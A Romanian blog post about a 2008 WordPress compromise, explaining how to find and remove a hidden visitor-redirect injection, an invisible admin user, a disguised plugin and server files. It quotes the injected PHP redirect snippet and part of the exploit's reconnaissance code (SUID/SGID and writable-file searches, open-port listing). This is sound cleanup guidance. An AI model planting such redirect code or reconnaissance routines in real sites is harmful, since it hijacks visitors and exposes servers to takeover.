Blogosfera virusata… dar, cu mine ce-ati avut?!

Advertisements

In ultima luna, am tot primit avertismente de virus in blog de la unii vizitatori. Initial am ignorat avertismentele, pentru ca aveam instalat un antivirus destul de bun (Kaspersky AV 2009) si desi stateam mult timp pe blog, nu am primit niciodata alerta de virus (.. mai demult am vazut ceva suspect, care la primul refresh a disparut. in fine…).
Incet, incet au inceput sa apara variatii mari ale traficului de vizitatori, dupa care in ultima vreme traficul a scazut constant si au inceput sa fie tot mai multi cei care sa-mi spuna ca stealthsettings.com este virusat. Ieri am primit de la cineva un screenshot facut in momentul in care antivirusul a blocat un script de pe stealthsettings.com :Trojan-Clicker.HTML.IFrame.gr. A fost destul de convingator pentru mine, incat sa ma pun pe cautat in toate sursele. Prima idee care mi-a venit in minte, a fost sa fac upgrade la ultima versiune de WordPress (2.5.1), dar nu inainte de a sterge toate fisierele vechiului script de WordPress si de a face backup la baza de date.  Procedura asta nu a dat niciun rezultat si probabil ar mai fi durat mult timp ca sa-mi dau sema unde e buba, daca nu mi-ar fi spus intr-o discutie la cafea, ca a gasit pe Google si ar fi bine sa-l vad.
MyDigitalLife.info, au publicat un articol cu titlul :  “WordPress Hack: Recover and Fix Google and Search Engine or No Cookie Traffic Redirected to Your-Needs.info, AnyResults.Net, Golden-Info.net and Other Illegal Sites”, care este capatul de fir de care aveam nevoie.
E vorba despre un exploit de WordPress bazat pe cookie, care dupa parerea mea este foarte complex si facut ca la carte. Destul de inteligent incat sa faca un SQL Injection in baza de date a blogului, sa creeze un user invizibil la o simpla verificare de rutina din Dashboard->Users, sa verifice pe server directoarele si fisierele “writable” (care au chmod 777), sa caute si sa execute fisiere cu privilegii de grup sau chiar de root. Nu stiu care este numele exploitului si vad ca sunt putine articole scrise despre el, in ciuda faptului ca sunt foarte multe bloguri infectate, inclusiv din Romania. Ok… o sa incerc sa incerc sa explic generalitati despre acest virus.

Ce face virusul?

In primul rand, insereaza in sursele paginilor de pe bloguri, link-uri invizibile pentru vizitatori dar vizibile si indexabile pentru motoarele de cautare, in special de Google. In acest fel transfera Page Rank catre site-uri indicate de atacator. In al doilea rand,  mai este inserat un cod de redirectionare URL, pentru vizitatorii care vin din Google, Live, Yahoo, … sau dintr-un RSS reader si nu au site-ul in cookie. Un antivirus detecteaza acest redirect ca Trojan-Clicker.HTML.

Simptome:

Scaderea masiva a traficului de vizitatori, in special pe blogurile unde majoritatea vizitatorilor provin din Google.

Identificare: (de aici se complica problema pentru cei care nu cat de cat habar de phpmyadmin, php si linux)

LA. ATENTIE!!! MAI INTAI FACETI UN BACKUP LA BAZA DE DATE!!!

1. Verificati sursele fisierelor index.php, header.php, footer.php, din tema blogului si vedeti daca exista un cod care foloseste criptare base64 sau contine “if($ser==”1? && sizeof($_COOKIE)==0)” de forma :

<?php \
$seref=array(”google”,”msn”,”live”,”altavista”,
”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref)
if(strpos(strtolower
($_SERVER[’HTTP_REFERER’]),$ref)!==false){ $ser=”1?; break; }
if($ser==”1? && sizeof($_COOKIE)==0){ header(”Location: http://”.base64_decode(”YW55cmVzdWx0cy5uZXQ=”).”/”); exit;
}?>

…sau ceva asemanator. Stergeti acest cod!

Click pe imagine…

index code

In screenshot-ul de mai sus eu am selectat din greseala si “<?php get_header(); ?>”. Acel cod trebuie sa ramana.

2. Folositi phpMyAdmin si mergeti in baza de date la tabelul wp_users, unde verificati daca exista un user fara nume, creat la data de 00:00:00 0000-00-00 (este posibil in campul user_login sa scrie “WordPress”. Notati ID-ul acestui user (campul ID) dupa care stergeti-l.

Click pe imagine…

fake user

*cel de pe linia verde, trebuie sters si retinut ID-ul lui. In cazul lui , a fost ID=8 .

3. Mergeti in tabelul wp_usermeta, unde trebuie sa localizati si sa stergeti liniile aferente ID-ului (unde in campul user_id apare valoarea ID-ului sters) .

4. In tabelul wp_option, mergeti in active_plugins si vedeti ce plugin este activat suspect. Acesta poate folosi terminatii de genul _old.giff, _old.pngg, _old.jpeg, _new.php.giff, etc combinatii de extensii imagine bogus cu  _old si _new.

SELECT * FROM wp_options WHERE option_name = ‘active_plugins’

Stergeti acest plugin, dupa care mergeti in blog –> Dashboard –> Plugins, unde dezactivati si activati un plugin oarecare.

Click pe imagine, sa vedeti cum apare fisierul virusat in active_plugins.

plugin

Urmati calea pe FTP sau SSH, indicata in active_plugins si stergeti fisierul de pe server.

5. Tot in phpMyAdmin, in tabelul wp_option, gasiti si stergeti randul care contine “rss_f541b3abd05e7962fcab37737f40fad8” si randul “internal_links_cache”.
In internal_links_cache, sunt puse criptat, link-urile de spam care apar in blog si un cod de Google Adsense, al hackerului.

6. Recomandat este sa va schimbati parola de logare pe blog si sa eliminati toate userele suspecte. Faceti upgrade la ultima versiune de WordPress si setati blogul sa nu mai permita inregistrarea de noi useri. Nu este nicio pierdere…pot sa comenteze si nelogati.

Am incercat mai sus sa explic cat de cat, ce este de facut intr-o asemenea situatie, pentru a curata blogul de acest virus. Problema este mult mai grava decat pare si nici pe departe rezolvata,  pentru ca se folosesc vulnerabilitati de securitate ale webserverului de hosting, pe care este blogul.

Ca prima masura de securizare, care au acces SSH, sa faca cateva verificari pe server pentru a vedea daca mai exista fisiere de genul *_old* si *_new.* cu terminatiile .giff, .jpeg, .pngg, .jpgg. Aceste fisiere trebuiesc sterse. Daca redenumim un fisier, de ex. top_right_old.giff in top_right_old.php, vedem ca in fisier este exact codul de exploit server.

Cateva indicatii utile de verificare, curatare si securizare server.  (via SSH)

1.  cd /tmp si verificati daca exista foldere de genul tmpVFlma sau alte combinatii de nume asemenatoare si stergeti-l. Vedeti in screenshotul de mai jos, doua astfel de foldere la mine:

tmpserver

rm –rf numefolder

2. Verificati si elimiati (schimbati chmod-ul) pe cat posibil folderele cu atribute chmod 777

find all writable files in current dir: find . -type f -perm -2 -ls
find all writable directories in current dir: find . -type d -perm -2 -ls
find all writable directories and files in current dir: find . -perm -2 –ls

3. Cautati fisiere suspecte pe server.

find . -name “*_new.php*”
find . -name “*_old.php*”
find . -name “*.jpgg”
find . -name “*_giff”
find . -name “*_pngg”

4, ATENTIE!!! la fisierele care au setat bitul SUID si SGID. Aceste fisiere executa cu privilegiile utilizatorului (group) sau root, nu cu cele ale utilizatorului care executa fisierul. Aceste fisiere pot duce la compromiterea root, daca sunt probleme de securitate. Daca nu utilizati fisierele cu biti SUID si SGID , executati “chmod 0” pe ele sau dezinstalati pachetul care le contin.

Exploitul contine pe undeva in sursa …:

if(!$safe_mode){
if($os_type == ‘nix’){
$os .= execute(‘sysctl -n kern.ostype’);
$os .= execute(‘sysctl -n kern.osrelease’);
$os .= execute(‘sysctl -n kernel.ostype’);
$os .= execute(‘sysctl -n kernel.osrelease’);
if(empty($user)) $user = execute(‘id’);
$aliases = array(
” => ”,
‘find suid files’=>’find / -type f -perm -04000 -ls’,
‘find sgid files’=>’find / -type f -perm -02000 -ls’,
‘find all writable files in current dir’=>’find . -type f -perm -2 -ls’,
‘find all writable directories in current dir’=>’find . -type d -perm -2 -ls’,
‘find all writable directories and files in current dir’=>’find . -perm -2 -ls’,
‘show opened ports’=>’netstat -an | grep -i listen’,
);
}else{
$os_name .= execute(‘ver’);
$user .= execute(‘echo %username%’);
$aliases = array(
” => ”,
‘show runing services’ => ‘net start’,
‘show process list’ => ‘tasklist’
);
}

…practic in acest mod gaseste bresele in securitate. Porturi deschise, directoare “writable” si executare fisiere cu privilegii de grup / root.

Revin cu detalii…

Cateva bloguri infectate: , ,

, , ,
www.razvanmatasel.ro,

blog.hrmarket.ro, www.nitza.ro,
motociclete.motomag.ro,

emi.brainient.com, www.picsel.ro,

,
, www.itex.ro/blog,
www.radiology.ro,

www.dipse.ro/ionut/,
www.vinul.ro/blog/, www.damaideparte.ro,

, www.artistul.ro/blog/,

www.mirabilismedia.ro/blog, blog.einvest.ro
… si lista poate continua … foarte mult.

Puteti verifica daca un blog este virusat, folosind motorul de cautare Google. copy & paste :

site:www.blegoo.com buy

Nopate buna si spor la treaba ;) In curand cred ca va veni cu noutati Eugen, pe prevezibil.imprevizibil.com.

brb :)

LA: ATENTIE! Schimbarea temei de WordPress sau upgrade-ul la WordPress 2.5.1, NU reprezinta o solutie pentru a scapa de acest virus.

Advertisements

PROGRAME, TUTORIALE SI NOUTATI IT PE E-MAIL

SALVEAZA LA FAVORITE / BOOKMARKS

COMENTARII

36 Comentarii la: Blogosfera virusata… dar, cu mine ce-ati avut?! #
  1. Blogosfera virusata - BilZone`s Blog says:

    [...] solutie la remedierea unor astfel de probleme o gasiti aici dar acum a aparut alt virus care pare mult mai periculos decat cel descris pe stealthsettings.com. [...]

  2. [...] Nu are nimic comun cu ce am avut aici [...]

  3. [...] ce am dat de postul acesta la StealthSettings, am inceput sa ma gandesc cat de periculosi sunt acesti virusi, si cat de bine [...]

  4. geek-it.net » Blog Archive » Blogsfera romaneasca virusata says:

    [...] vreti sa scapati de problema intrati aici si gasiti si explicatia mai in detaliu a virusului. [...]

  5. [...] (inclusiv solutia problemei) le gasiti aici (via De ce). Share and Enjoy: These icons link to social bookmarking sites where readers can [...]

  6. [...] Bloguri si exploituri wordpress 5 Iulie 2008 18:16 Care e problema si cum se rezolva. [...]

  7. [...] cea mai buna dovada este comentariul nr.12 de la postul  asta . [...]

  8. Bloguri virusate. | BLOG VOCE says:

    [...] habar nu au de aceasta problema iar altii si daca ar realiza poate nu ar avea solutii. Asadar check THIS & THIS out. Poate aveti [...]

  9. Si daca nu e pe wordpress blogul, ci pe blogspot? se aplica aceleasi solutii?

  10. acsel says:

    Ce bine ca eu nu am nimic! :D

COMENTEZI?

Posturi Relationate

Stealth Settings Terms:

virus php eval base64_decode, virus sql, wordpress trovare virus, windows 7 chmod, slide de nome raiz e microsoft office powerpoint, eval virüsü nasıl temizlenir, sql injection powerpoint portugues, эксплойт диплом, fisiere virusate download, program de curatare a unui fisier virusat, windows xp appache sql injection, come riconoscere i link virusati, очистка вордпресс от вирусов,
RomânăEnglishFrançaisItalianoDeutschEspañolNederlandsČeštinaΕλληνικάTürkçePortuguêsРусскийSlovenčinaNorskPolski